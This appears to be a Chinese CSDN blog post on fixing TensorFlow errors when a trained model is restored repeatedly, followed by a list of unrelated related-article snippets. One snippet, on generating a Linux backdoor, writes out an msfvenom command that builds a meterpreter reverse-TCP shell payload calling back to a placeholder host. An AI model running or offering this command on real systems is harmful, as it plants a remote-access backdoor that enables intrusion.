环境:python3,tensotflow

在恢复了预先训练好的模型进行预测时,第一次是能够成功执行的,但我多次restore模型时,出现了以下问题:

1.ValueError: Variable char_embed/char_embedding already exists, disallowed. Did you mean to set reuse=True in VarScope? Originally defined at:

解决方法参考https://www.jianshu.com/p/fc11f32800f9

2. NotFoundError (see above for traceback): Key Variable_3 not found in checkpoint

错误提示在checkpoint中没有找到Variable_3。使用以下语句查看checkpoint中的变量,发现的确没有Variable_3。而使用tf.global_variables()查看到新生成了包括Variable_3的新tensor。可参考这里了解具体过程。

解决办法:加入tf.reset_default_graph() 或参考这里进行多项查看。

import os#checkpoint文件的路径checkpoint_path=os.path.join(os.getcwd(),'ckpt1/ner.ckpt')reader=tf.train.NewCheckpointReader(checkpoint_path)var=reader.get_variable_to_shape_map()for key in var: print("tensor_name",key) #显示tensor的内容,若只想查看tensor的名称,可以下面这句注释掉,使结果更清晰 print(reader.get_tensor(key))

其中,我的/ckpt1下的文件如下:

3. 加入tf.reset_default_graph之后,出现以下报错:

Error: Do not use tf.reset_default_graph() to clear nested graphs. If you need a cleared graph, exit the nesting and create a new graph.

原因参考这里,就是说,不能在以下情况使用tf.reset_default_graph():

Inside a with graph.as_default(): block. 【在with graph.as_default(): 块下面】
Inside a with tf.Session(): block.【在with tf.Session():块下面】
Between creating a tf.InteractiveSession and calling sess.close() 【在使用了tf.InteractiveSession和调用sess.close()之间】
---------------------
作者:xxzhix
来源:CSDN
原文:https://blog.csdn.net/xxzhix/article/details/81983982
版权声明:本文为博主原创文章,转载请附上博文链接!

Linux上多次restore Tensorflow模型报错的更多相关文章

  1. 在Linux上配置xampp后远程访问域名报错

    在Linux上配置xampp后远程访问域名报错: New XAMPP security concept: Access to the requested object is only availabl ...

  2. linux上安装完torch后仍报错:ImportError: No module named torch

    linux上安装完torch后仍报错: Traceback (most recent call last): File , in <module> import torch ImportE ...

  3. Linux上tomcat部署web项目,访问报错"ip访问时间过长"

    项目原来是可以访问的,后来突然不能不访问了,系统ip也是能ping通的,后来就想是不是防火墙的问题,查看一下还真是 原因:Linux服务器上的防火墙开着,关闭即可 1.查看firewall服务状态 s ...

  4. 【pycharm】pycharm上安装tensorflow,报错:AttributeError: module 'pip' has no attribute 'main' 解决方法

    pycharm上安装tensorflow,报错:AttributeError: module 'pip' has no attribute 'main' 解决方法 解决方法: 在pycharm的安装目 ...

  5. 在PHP5.4上使用Google翻译的API报错

    /********************************************************************** * 在PHP5.4上使用Google翻译的API报错 * ...

  6. PyCharm导入tensorflow包报错的问题

    [注]PyCharm导入tensorflow包报错的问题 若是你也遇到这个问题,说明你也没有理解tensorflow到底在哪里. 当安装了anaconda3.6后,在PyCharm中设置interpr ...

  7. 在CentOS上安装node.js的时候报错:No acceptable C compiler found!解决办法

    在CentOS上安装node.js的时候报错:No acceptable C compiler found! 原因:没有c编译器. 解决办法:安装GCC 命令如下: #yum install gcc ...

  8. Windows 10 上安装 3D Studio Max 2016 报错的解决办法

    在 Windows 10 上安装 3D Stuido Max 2016 报错,无法正常安装,查看日志是 VC 运行时安装错误,经过分析发现在 Windows 10 上已经有这些运行时并且版本比安装包中 ...

  9. Linux 下使用C语言 gets()函数报错

    在Linux下,使用 gets(cmd) 函数报错:warning: the 'gets' function is dangerous and should not be used. 解决办法:采用 ...

随机推荐

  1. Go语言学习 总结一

    1,定义main, package main 一个可独立执行的程序,(类似main方法) 2,import “fmt” fmt 实现格式化IO(输入/输出) (类似system.out.print() ...

  2. Modelsim SE自动化仿真——如何将.do文件中自定义的库链接到testbench顶层模块

    我们用Modelsim SE进行仿真时,为了方便,一般会编写.do文件来启动当前仿真.关于.do文件的编写,一般网上都有成型的模板,我们只要稍微改几个参数,就可以符合我们的仿真需求了.但是如果仿真时需 ...

  3. 批量分离SQL数据库语句

    --sp_helpdb--查看可用数据库 declare @name sysname, @sql nvarchar(4000) DECLARE roy CURSOR FOR --排除不分离的数据库名就 ...

  4. 20155238 《Java程序设计》实验一(Java开发环境的熟悉)实验报告

    实验内容 使用JDK编译.运行简单的Java程序. 使用Eclipse 编辑.编译.运行.调试Java程序. 实现学生成绩管理功能,并进行测试. 实验步骤及结果 (一)命令行下Java程序开发 编译运 ...

  5. C++实现tar包解析

    tar(tape archive)是Unix和类Unix系统上文件打包工具,可以将多个文件合并为一个文件,使用tar工具打出来的包称为tar包.一般打包后的文件名后缀为".tar" ...

  6. 四 Hive整合HBase

    安装环境: hbase版本:hbase-1.4.0-bin.tar.gz hive版本:   apache-hive-1.2.1-bin.tar 注意请使用高一点的hbase版本,不然就算hive和h ...

  7. msfvenom生成linux后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  8. 单元测试——隔离神器:mockito

    mockito,一个让人着迷的单元测试隔离框架.对比了easymock,jmock,jmockito,最终选择了它. 为什么用他 接口语法简洁.自然.写起来像在说话,很舒服. 文档更完整.让学习曲线更 ...

  9. 网络编程的演进——从Apache到Nginx

    Apache 1.Apache HTTP服务器是 Robert McCool 在1995年写成,并在1999年开始在Apache软件基金会的 框架下进行开发. 由于Apache HTTP服务器是基金会 ...

  10. hdu1829A Bug's Life(种类并查集)

    传送门 关键在于到根节点的距离,如果两个点到根节点的距离相等,那么他们性别肯定就一样(因为前面如果没有特殊情况,两个点就是一男一女的).一旦遇到性别一样的,就说明找到了可疑的 #include< ...